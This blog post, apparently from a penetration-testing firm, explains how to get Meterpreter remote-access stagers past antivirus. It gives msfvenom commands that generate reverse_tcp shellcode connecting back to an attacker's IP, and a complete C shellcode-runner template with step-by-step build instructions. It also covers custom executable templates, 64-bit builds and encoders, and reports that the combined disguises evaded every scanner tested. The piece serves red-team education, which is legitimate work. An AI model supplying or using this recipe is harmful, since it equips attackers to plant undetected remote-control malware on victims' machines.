Three Simple Disguises for Evading Antivirus

Logan Lembke //

Antivirus has been a key component in defending computer systems since the 1990s. Over the years, antivirus began to dominate the discussion of PC security with other means falling to the wayside. Brand names such as Symantec and McAfee have continually jockeyed for business, each claiming that they alone possess the miracle cure.

Despite what you may hear, let me reassure you, antivirus is dead. Here’s why:

Evading Antivirus Is Dead Simple

First off, detecting malicious code is hard. To date, no one has figured out how to answer the question: Is this piece of code going to ruin my day? However, we have figured out how to answer the question: Does this piece of code look like something that has ruined someone else’s day?

If we want to avoid detection, all we have to do is put a moustache and monocle on our code before we ship it on its way.

They’ll Never See Me Coming

Disguising malicious code can be accomplished using a few techniques, but before we take a look at what makes for a good disguise, let’s discuss what malicious code tends to look like.

The Lay Person’s Interpretation of Meterpreter

According to Offensive Security, “Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.”

Put more simply, “Meterpreter is a piece of code that can load more code as it runs. It can use different methods to communicate back to its server, and the client can be extended by other programmers.” As such, Meterpreter is often used by attackers to control a target’s machine, and since the program is easily extended, Meterpreter can launch a slew of attacks ranging from key loggers to privilege escalation.

Meterpreter Vs. Antivirus. FIGHT!

While antivirus can detect Meterpreter, the architecture behind the program makes it exceedingly difficult to catch.

Often times, Meterpreter will be launched by a “stager.” The stager’s job is to establish communications between the target’s computer and the attacker’s server. Additionally, it needs to begin loading the rest of the Meterpreter client. Thanks to this piece-by-piece architecture, only the stager needs to be deployed on the target’s computer before the program can be run. Since the rest of Meterpreter can be launched from memory, only the stager needs to sneak its way past AV.

Shellcode

A Meterpreter stager can be deployed on a target’s computer using a few techniques. At the heart of each technique lies “shellcode.” In reference to a Meterpreter stager, the shellcode is the machine code which actually accomplishes the stager’s goals: setting up communications and launching the rest of Meterpreter.

Shell code has been used throughout several blog posts which have been previously published on our site.

In Brian’s excellent post “How to Bypass Application Whitelisting & AV,” he uses the following command to generate shellcode which can be executed in the C# programming language:

“msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt”

This command writes the following mess out to a file named shellcode.txt.

Wat.

What we’re looking at is a list of hexadecimal numbers which correspond to the machine code needed to create a Meterpreter stager. Specifically, this stager connects back to an attacker’s machine on TCP port 443 and begins loading the rest of the Meterpreter client.

Identifying this shellcode is one way antivirus products may go about identifying malicious look-alike programs.

Templating

While everyone loves to talk about shellcode, there is more that goes into creating a Meterpreter stager. The shellcode must be executed by something. Old school exploits work by loading the shellcode into a vulnerable program and forcing the program to execute it. In the case of phishing, shellcode can be embedded within VBA macros and ran inside Microsoft Word, Excel, and PowerPoint documents. (Check out Sally’s awesome post for evading AV in PowerPoint here.)

In the simplest case, the shellcode is placed inside of a premade template and executed by itself. By default, MSFVenom (the most common program used to generate Meterpreter stagers) supplies its own templates. However, as Joff has previously explained here, these templates can be altered!

Why would we want to alter the template? Simply put, most AV products check the template used to execute the shellcode rather than the shellcode itself.

Now to Just Give Them Fake Moustaches!

Disguises

So far, we have identified the Meterpreter stager, and we have seen that it is made up of both shellcode and a template. Now, let’s look at the different disguises available for hiding our stager. We can change the architecture of the whole stager, modify the template around the shellcode, or change the shellcode itself. Each change adds something new to the disguise. Some changes will vastly alter our executable, others will only slightly affect the results. We will compare the usefulness of each technique later on in the post.

64 Bits of Magic

Currently, the Steam Hardware Survey indicates that over 85% of their users are running 64-bit operating systems. While this may not be representative of the business sector, it is clear evidence that 64-bit operating systems are becoming more common.

When targeting a 64-bit operating system, we have the choice of deploying either a 32-bit or 64-bit stager. While the 32-bit stager will work on any modern Windows installation, the 64-bit stager is much more evasive. There is nothing inherently sneaky about using 64-bit stagers, but it seems as if there have been fewer signatures written for the 64-bit variants of the most common Meterpreter stagers.

Template Trickery

MSFVenom provides two default templates for Windows executables: one for 32-bit shellcode and another for 64-bit shellcode. These templates are essentially empty .exe files and are well known to antivirus engines.

Windows EXE files following the PE/COFF format are made up of several different sections, each with different permissions. These permissions restrict the ability to read, write, or execute data at run time. For example, the section which contains the code to be executed (.text) is generally not writeable at run time.

When creating a Meterpreter stager, MSFVenom will look at the default executable (.text) section of the template being used, and if there is enough space, insert the shellcode into it. Otherwise, MSFVenom will create a new section in the .exe file, mark it as executable, place the shellcode there, and modify the executable to start from the new section.   

However, rather than using MSFVenom’s default templates, we may choose to provide our own EXE file for the program to modify. Common choices for this technique are the executables included with every Windows installation such as write.exe and notepad.exe. By default, the template executables will no longer function as normal unless MSFVenom is explicitly told to start the stager in a new thread.

Rolling Your Own Template

Beyond altering existing executables, we may choose to write our own templates. In this approach, we use MSFVenom to generate shellcode for use in a programming language of our choice. (In the following example, I chose the C programming language). Then, we insert the shellcode into our homemade template, and tell the computer to execute the code.

Step-by-Step Instructions:

First, run “msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Listening Port> -f c > shell_code.c 2>&1”

Your shell_code.c file should look similar to this:

Next, open up Microsoft Visual Studio. If you don’t have access to Visual Studio, a free copy can be obtained from here by choosing the community edition.

Now, create a new C/C++ empty project and add the following code to a new file.

#include <stdio.h>
#include <windows.h> //VirtualAlloc is defined here
unsigned const char payload[] = ""; //shellcode as output by msfvenom
size_t size = 0; //size of payload in bytes (output by msfvenom)
int main(int argc, char **argv) {
char *code;                     //Holds a memory address
code = (char *)VirtualAlloc(    //Allocate a chunk of memory and store the starting address
        NULL, size, MEM_COMMIT,     
        PAGE_EXECUTE_READWRITE  //Set the memory to be writable and executable
    );
memcpy(code, payload, size);    //Copy our payload into the executable section of memory
((void(*)())code)();            //Cast the executable memory to a function pointer and run it 
return(0);
}

Now, set the payload string equal to the contents of buf from the shellcode file, and set the size variable equal to the payload size.

Finally, click build in Visual Studio.

If you wish to compile for 64-bit architectures, you must generate 64-bit shellcode with MSFVenom, and set the compilation architecture to 64-bit within Visual Studio.

Shellcode Encoders

Beyond changing the stager’s architecture and template, we can also attempt to disguise the shellcode itself. MSFVenom has the ability to obfuscate the stager’s shellcode with a reversible cipher using its encoders system. This system was originally created in order to handle unsafe characters within the shellcode being processed. However, when researching AV evasion techniques, encoders seem to be a common suggestion. While their efficacy is debatable, two encoders are in heavy use: Shikata Ga Nai for 32-bit shellcode, and XOR encoding for 64-bit shellcode.

What a Handsome Bunch

Putting It All Together

Now that we have selected our disguises, we need to put them to the test. First, we need to choose which shellcodes we want to disguise. Three of the most common shellcodes for Meterpreter stagers are reverse_tcp, reverse_http, and reverse_https. Next, we need to identify how many different disguises we want to test. We could choose 32-bit or 64-bit, to use the default template or a custom template, or to encode the shellcode or not. All in all, this leads to twenty-four different stagers to test.

After generating all twenty-four stagers and making sure they worked, I ran them through Virus Total and plotted the results.

As you can see, moving to a custom template is the most effective disguise. However, simply changing the targeted architecture to 64-bit thwarts more than half of the tested AV engines. When combining the two disguises, our malware slips by every single engine tested.

In the case of 32-bit stagers, only a single antivirus engine was able to detect our malware wearing all three disguises: Qihoo 360. Even then, it was only identified via heuristic as general malware.

AV evasion goes beyond the techniques discussed in this post. For example, you can alter the shellcode before it is assembled to machine code, you can use different programming languages to create your template, and you can use the full breadth of the Veil evasion suite. Antivirus is still a helpful tool in a blue teamer’s belt, but beware antivirus is all but dead for any advanced persistent threat.